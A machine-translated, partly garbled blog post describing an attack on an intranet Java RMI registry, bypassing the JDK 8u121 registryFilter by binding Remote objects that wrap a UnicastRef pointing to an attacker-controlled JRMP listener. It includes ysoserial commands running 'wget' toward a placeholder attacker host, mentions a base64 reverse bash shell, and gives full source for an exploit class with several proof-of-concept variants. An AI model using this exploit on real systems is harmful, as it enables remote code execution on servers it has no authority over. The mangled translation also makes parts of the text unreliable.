Мысли об атаке на интранет-сервис rmi

Java задняя часть сервер удаленная работа

инструкция

Ежедневно сканируйте интранетсерверКогда я нашел несколькохозяиноткрытьrmiсервис, согласно прошлому опыту сервис rmi существует десериализацияУязвимость, я думал, что могу просто взять ysoserial и высушить его напрямую.

一次攻击内网rmi服务的深思

java -cp ysoserial.exploit.RMIRegistryExploit 10.9.15.193 9999 CommonsCollections2 "wget http://ххххх:3344”

Это было успешно в прошлом, но на этот раз фактически сломало статус фильтра: REJECTED

一次攻击内网rmi服务的深思

Причина этого в том, что [java 8update121] После ограничения RMIRegistryImpl.registryFilter() http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388

можно увидеть вidТипы ограничены в функции registerFilter после обновления k8 121.

一次攻击内网rmi服务的深思

Напишите службу регистрации rmi локально для имитации:

public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
    //System.setProperty("sun.rmi.registry.registryFilter", "java.util.HashMap;");
    //System.setProperty("sun.rmi.registry.registryFilter", "java.util.HashMap;sun.reflect.annotation.**;");
    //System.setProperty("sun.rmi.registry.registryFilter", "java.**;sun.reflect.annotation.**;com.sun.**");
    //System.setProperty("sun.rmi.registry.registryFilter", "org.apache.commons.collections4.comparators.TransformingComparator");
    HelloService helloService = new HelloServiceImpl();
    LocateRegistry.createRegistry(12306);
    Naming.bind("rmi://localhost:12306/helloService", helloService);
    System.out.println("ServerMain provide RPC service now");

}

После запуска используйте java -cp ysoserial.exploit.RMIRegistryExploit 127.0.0.1 12306 CommonsCollections2 "wget ​​http://xxxxx:3344" для обнаружения атакиСерверразразился

ServerMain provide RPC service now
九月 20, 2018 12:31:57 下午 java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 298, ex: n/a

Здесь очевидно, почему был перехвачен класс AnnotationInvocationHandler, потому что в CommonsCollections2, после использования динамического улучшения прокси, если вы не знаете более подробностей об этом шаге, вы можете перейти к уязвимости десериализации java — CommonsCollection of Black Iron Epee (улучшенный)

По ограничениям так смотрю Номер (не считается), Удалённый,Proxy, UnicastRef, RMIClientSocketFactory, RMIServerSocketFactory, ActivationID,UID (в основном не рассматривается) в этих категориях.

Среди них мое внимание привлек UnicastRef.Если у вас есть небольшое впечатление, вы можете знать, что сам UnicastRef использовался при десериализации Amf3.

Затем происходит переключение на атакующие идеи:

一次攻击内网rmi服务的深思

Путь к отладке

Тем не менее, я наступил на много ям в процессе отладки и проб, но, к счастью, я не сдался. Ссылаясь на RMIRegistryExploit, мы сосредоточимся на создании объекта Remote.Сначала создайте UnicastRef. Непосредственно принять аналогичный метод написания [Обмен технологиями] Анализ уязвимостей десериализации Java AMF3.

public static UnicastRef generateUnicastRef(String host, int port) {
    java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
    sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
    sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
    return new sun.rmi.server.UnicastRef(liveRef);
}

Затем сделайте небольшое изменение на основе RMIRegistryExploit, прямо поставьте

Object payload = payloadObj.getObject(command);//CommonsCollections2 
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);

изменить на

Object payload = generateUnicastRef("127.0.0.1", "3348");
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);

Ответ заключается в том, что сервер все равно взрывает ObjectInputFilter REJECTED, что нормально, потому что логика обработки самого Gadgets.createMemoitizedProxy — это AnnotationInvocationHandler, который используется для динамического прокси и добавляется при отладке локального сервера.

System.setProperty("sun.rmi.registry.registryFilter", "java.;sun.reflect.annotation.;com.sun.**"); Обнаружено, что команду можно выполнить, что говорит о том, что наша идея верна, UnicastRef также можно десериализовать напрямую, тогда следующим шагом будет поиск способа обойти ограничение ObjectInputFilter REJECTED , сам UnicastRef находится в пределах области реестраFilter, но удаленный объект должен быть передан, когда register.bind(имя, удаленный) Идея очень ясна, если мы инкапсулируем UnicastRef в удаленный тип, например:

1. Динамическое отражение

2. Найдите класс, который наследует оба или реализует Remote и использует тип UnicastRef в качестве одного из своих полей.

пользовательское отражение

public static class PocHandler implements InvocationHandler, Serializable {
    private RemoteRef ref;

    protected PocHandler(RemoteRef newref) {
        ref = newref;
    }


    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        return method.invoke(this.ref, args);
    }
}
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Remote.class}, new PocHandler(unicastRef));
 registry.bind("2333", remote);

一次攻击内网rmi服务的深思

Обрадовалась, потерпела и тут пошла искать второй случай, долго искал тут, только что увидел UnicastRemoteObject (Remote), хотел установить UnicastRef задав поле ref, но лопнуло что там нет такого поля, родительский класс Родительский класс родительского класса (класс прадедушки) имеет поле ref в RemoteObject. Но он объявлен как переходный (не будет сериализован, даже если десериализован, будет null).

только смотретьисходный кодТеперь, после долгих поисков (действительно долго), я нашел RemoteObjectInvocationHandler, который сам является InvocationHandler и исключений не будет.

UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Activator.class}, new PocHandler(unicastRef));
 registry.bind("23333", remote);

И RMIConnectionКласс Impl_Stub, случай 2

UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef);
registry.bind(name, remote);

Вы все еще можете сообщать об исключениях, будьте счастливы.

一次攻击内网rmi服务的深思

bingo

После локальной отладки можно приступать к выполнению команд, например rebound bash, заимствовать http://jackson.thuraisamy.me/runtime-exec-payloads.html Его нужно преобразовать в base64 и выполнить. последний опубликованныйкодБар:

package ysoserial.exploit;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import sun.rmi.server.UnicastRef;
import sun.rmi.server.UnicastServerRef;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import ysoserial.secmgr.ExecCheckingSecurityManager;
import sun.rmi.registry.RegistryImpl;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import javax.net.ssl.*;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.io.Serializable;
import java.lang.reflect.*;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.activation.Activator;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;

/**
 * 使用UnicastRef注入,绕过ObjectInputFilter checkInput对几个基础类型的检测
 * sun.rmi.registry.
 */
public class RMIRegistryExploit2 {
    private static class TrustAllSSL extends X509ExtendedTrustManager {
        private static final X509Certificate[] ANY_CA = {};

        public X509Certificate[] getAcceptedIssuers() {
            return ANY_CA;
        }

        public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

        public void checkServerTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }

        public void checkServerTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }
    }

    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
        public Socket createSocket(String host, int port) throws IOException {
            try {
                SSLContext ctx = SSLContext.getInstance("TLS");
                ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
                SSLSocketFactory factory = ctx.getSocketFactory();
                return factory.createSocket(host, port);
            } catch (Exception e) {
                throw new IOException(e);
            }
        }
    }

    public static void main(final String[] args) throws Exception {
        System.out.println("用法如下 RMIRegistryHost  RMIRegistryPort JRMPListenerHost JRMPListenerPort");
        final String rmiRegistryHost = args[0];
        final int rmiRegistryPort = Integer.parseInt(args[1]);
        final String jrmpListenerHost = args[2];
        final int jrmpListenerPort = Integer.parseInt(args[3]);
        Registry registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort);

        // test RMI registry connection and upgrade to SSL connection on fail
        try {
            registry.list();
        } catch (ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort, new RMISSLClientSocketFactory());
        }

        // ensure payload doesn't detonate during construction or deserialization
        exploit(registry, jrmpListenerHost, jrmpListenerPort);
    }

    public static void exploit(final Registry registry,
                               final Class<? extends ObjectPayload> payloadClass,
                               final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>() {
            public Void call() throws Exception {
                ObjectPayload payloadObj = payloadClass.newInstance();
                Object payload = payloadObj.getObject(command);
                String name = "pwned" + System.nanoTime();
                Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
                try {
                    registry.bind(name, remote);
                } catch (Throwable e) {
                    e.printStackTrace();
                }
                Utils.releasePayload(payloadObj, payload);
                return null;
            }
        });
    }

    public static void exploit(final Registry registry, final String jrmpListenerHost, final int jrmpListenerPort) throws Exception {

        UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
        /*
        poc 1*/
        RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef);
        /*
        poc2
        Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Activator.class}, new PocHandler(unicastRef));
         */
        /*
        poc3
        Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[] { Activator.class }, new RemoteObjectInvocationHandler(unicastRef));
         */
        /*
        poc4 失败,无效
        UnicastRemoteObject remote = Reflections.createWithoutConstructor(java.rmi.server.UnicastRemoteObject.class);
        Reflections.setFieldValue(unicastRemoteObject, "ref", unicastRef);
        */
        String name = "pwned" + System.nanoTime();
        try {
            registry.bind(name, remote);
        } catch (Throwable e) {
            e.printStackTrace();
        }
    }

    /***
     * 生成一个UnicastRef对象
     * @param host
     * @param port
     * @return
     */
    public static UnicastRef generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static class PocHandler implements InvocationHandler, Serializable {
        private RemoteRef ref;

        protected PocHandler(RemoteRef newref) {
            ref = newref;
        }


        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            return method.invoke(this.ref, args);
        }
    }

}

В итоге я узнал, что он действительно существует в ysoserial.payloads.JRMPClient, он там оказался давно, из-за чего я так долго отлаживал.

一次攻击内网rmi服务的深思

Однако я нашел два RemoteObjectInvocationHandler и RMIConnectionImpl_Stub.После столь долгой отладки и отслеживания это несколько утешительно. Только увидев пророка, я знаю, что были использованы RemoteObjectInvocationHandler и RMIConnectionImpl_Stub, и я чувствую, что новости немного закрыты.https://xz.aliyun.com/t/2479 Отношения между несколькими классами, записанные при отладке, названия похожи, боюсь что закружится голова UnicastRemoteObject->RemoteServer->RemoteObject->Remote UnicastServerRef2->UnicastServerRef- >UnicastRef- >RemoteRef->Externalizable

Ссылаться на

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388

https://stackoverflow.com/questions/41821240/rmi-registry-filter-rejects-rmi-configuration-class-in-java-8-update-121

https://www.anquanke.com/post/id/85846

https://github.com/frohoff/ysoserial

https://xz.aliyun.com/t/2479